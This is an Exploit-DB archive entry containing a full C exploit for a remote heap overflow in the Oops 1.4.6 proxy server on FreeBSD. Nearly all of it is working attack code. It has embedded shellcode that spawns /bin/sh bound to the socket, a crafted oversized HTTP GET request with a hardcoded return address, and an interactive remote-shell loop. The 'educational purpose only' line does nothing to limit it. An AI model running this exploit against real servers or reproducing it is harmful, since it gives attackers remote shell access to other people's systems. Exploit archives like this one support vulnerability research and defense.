Exploit-DB #228
Description: Oops! 1.4.6 - one russi4n proxy-server Heap Buffer Overflow
Type: remote
Platform: bsd
Date: 2000-12-15
Author: diman

Exploit:
/*--oopz.c---//-------------r-3-m-0-t-3---------------\\-------------*

 TARGET	:	oops-1.4.6 (one russi4n proxy-server)
 CLASS	:	remote
 0S		:	FreeBSD 4.(0 - 2)
 AUTH0R	:	diman
 VEND0R	:	wanna payment for support. I'm not doing his job, yeh?
 DATE		:	7-11-2k
 N0TE		:	xploit was coded for fun only.
 GREETS	:	&y, fm, JU$ (all for be a gOod guys)
*/

#define	BUFADDR		0xbfafe55f	// ret
#define	OFFSET2		450		// second copy
#define	RETOFF		1363		// ip offset

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>

/*
   I found two offsets where our shellcode can be placed.
   Since ret value is hardcoded, we should use two copies
   of shellcode. But last part of the second copy can be
   corrupted during procedure processing. Solution is to
   check current offset of the shellcode and jump from
   second copy to the first one. Something like v1r11 :)
   Also we avoids large letters in the shellcode
   and some other characters. We simple dup2(33,0) before
   execve, so be sure you are only connected if you don't
   wanna provide sh3ll for someone else =)   Enough...
*/


int
shellcode(char* buf) {
__asm__("
	call	ne0;
ne0:	popl	%eax;
	nop;
	nop;
	LEN1 = sh - ne0 ;
	leal	LEN1(%eax),%eax;
	pushl	%eax;
	pushl	8(%ebp);
	call	strcpy;
	addl	$8,%esp;
	jmp	done;


//-----s-h-e-l-l-c-o-d-e---s-t-a-r-t-s---h-e-r-e--------//

sh:	.fill 6,1,0x90;		// magic nops
	jmp	me;
retme:	popl	%esi;
	nop;
	movl	%esi,%eax;
	DELTA = huh - sh - 450;
	negl	%eax;
	leal	DELTA(%eax),%eax;
	negl	%eax;
	movl	(%eax),%ebx;
	cmpl	$0x90909090,%ebx;
	je	huh;		// we are in the first copy yet
	movl	%esi,%eax;	// jump to first copy
	leal	-450(%eax),%eax;
	jmp	*%eax;
me:	call	retme;
	
huh:	.fill	5,1,0x90;	
	jmp	call0;		// just one more (we not shure where we are)
ret0:	popl	%esi;
	movl	(%esi),%ebx;	// decrypt /bin/sh
	subl	$0x30303030,%ebx;
	movl	%ebx,(%esi);
	movl	4(%esi),%ebx;
	subl	$0x30303030,%ebx;
	movl	%ebx,4(%esi);
	xorl	%eax,%eax;
	movl	%esi,%edi;
	negl	%edi;
	leal	-7(%edi),%edi;
	negl	%edi;
	movb	%al,(%edi);	// end it with 0
	jmp	prep;

call0:	call	ret0;	
	.byte	0x5f,0x92,0x99,0x9e,0x5f,0xa3,0x98,0xee,0x03; /* /bin/sh */

dup2:	leal	-4(%esp),%esp;
	movl	%ecx,(%esp);
	leal	-4(%esp),%esp;
	movl	$-33,%eax;
	negl	%eax;
	movl	%eax,(%esp);
	movl	$-0x5a,%eax;
	negl	%eax;
	leal	-4(%esp),%esp;	
	int	$0x80;
	negl	%esp;
	leal	-0xc(%esp),%esp;
	negl	%esp;
	ret;

prep:	xorl	%ecx,%ecx;
	call	dup2;
	movb	$1,%cl;
	call	dup2;
	movb	$2,%cl;
	call	dup2;

	xorl	%eax,%eax;
	leal	-4(%esp),%esp;
	movl	%eax,(%esp);	// 0
	leal	-4(%esp),%esp;	
	movl	%esi,(%esp);	// name
	movl	%esp,%edi;
	leal	-4(%esp),%esp;	
	movl	%eax,(%esp);	// envp
	leal	-4(%esp),%esp;	
	movl	%edi,(%esp);	// av[]
	leal	-4(%esp),%esp;
	movl	%esi,(%esp);	// name
	movb	$0x3b,%al;	// execve
	leal	-4(%esp),%esp;
	int	$0x80;
	xorl	%eax,%eax;
	movl	%eax,(%esp);
	movl	%eax,%ebx;
	movb	$1,%al;		// exit
	leal	-4(%esp),%esp;
	int	$0x80;
	nop;			// hip
	nop;			// hop
	.byte	0x00;
done:;
");
}


int res(char*,struct sockaddr_in *);
void spawned_shell(int sock);


main(int ac, char** av){
#define SZ	0x2000
#define FIL	0xbf
	char buf[SZ],buf2[SZ],*pc,c;
	int i,sock;
	struct sockaddr_in sin;		
	short port=3128;
	unsigned *pu;
	memset(buf,FIL,SZ);
	shellcode(buf);
	buf[strlen(buf)]=FIL;
	pc=&buf[OFFSET2];
	shellcode(pc);
	pc+=strlen(pc);
	*pc=FIL;
	pu=(unsigned*)&buf[RETOFF];
	*pu=BUFADDR;
	buf[RETOFF+4]=0;
	strcpy(buf2,"GET http://p");
	strcat(buf2,buf);
	strcat(buf2," HTTP/1.0\r\n\r\n");
	fprintf(stderr,"oops-1.4.6 remote xpl0it for 4.x by diman.\n");
	fprintf(stderr,"use for educational purpose only.\n");
	if(ac<2) {
		fprintf(stderr,"usage: ./oopz target_host [port, def=3128]\n");
		exit(0);
	}
	pc=av[1];
	if(ac>2) port=atoi(av[2]);
	if(!res(pc,&sin)) {
		fprintf(stderr,"can't resolve %s\n",pc);
		exit(0);
	}
	sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	sin.sin_port=htons(port);	
	if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1) {
		fprintf(stderr,"can't connect %s:%d\n",pc,port);
		exit(0);
	}
	fprintf(stderr,"Connected. Sending surprise...\n");
	send(sock,buf2,strlen(buf2),0);
	spawned_shell(sock);
}


int res(char* host,struct sockaddr_in * ps)
{
	struct hostent *he;
	bzero(ps,sizeof(struct sockaddr_in));
	ps->sin_family=AF_INET;
	ps->sin_len=sizeof(struct sockaddr_in);
	if(!inet_aton(host,&ps->sin_addr))
	{	
		he=gethostbyname2(host,AF_INET);
		if(!he) return 0;
		memcpy(&ps->sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
	}
	return 1;
}

/*
	Next was ripped from wildcoyote's gopher sploit.
*/
void spawned_shell(int sock){
	char buf[1024];
	fd_set rset;
	int i;
while (1)
 {
  	FD_ZERO(&rset);
  	FD_SET(sock,&rset);
  	FD_SET(STDIN_FILENO,&rset);
  	select(sock+1,&rset,NULL,NULL,NULL);
  	if (FD_ISSET(sock,&rset)) {
   		i=read(sock,buf,1024);
   		if (i <= 0){
     			fprintf(stderr,"Connection lost.\n");
     			exit(0);
   		}
   		buf[i]=0;
   		puts(buf);
  	}
  	if (FD_ISSET(STDIN_FILENO,&rset))
  	{
   		i=read(STDIN_FILENO,buf,1024);
   		if (i>0){
			buf[i]=0;
 			if(write(sock,buf,i)<0){
 				fprintf(stderr,"Connection lost.\n");
 				exit(0);
 			}
   		}
  	}
 }
}


// milw0rm.com [2000-12-15]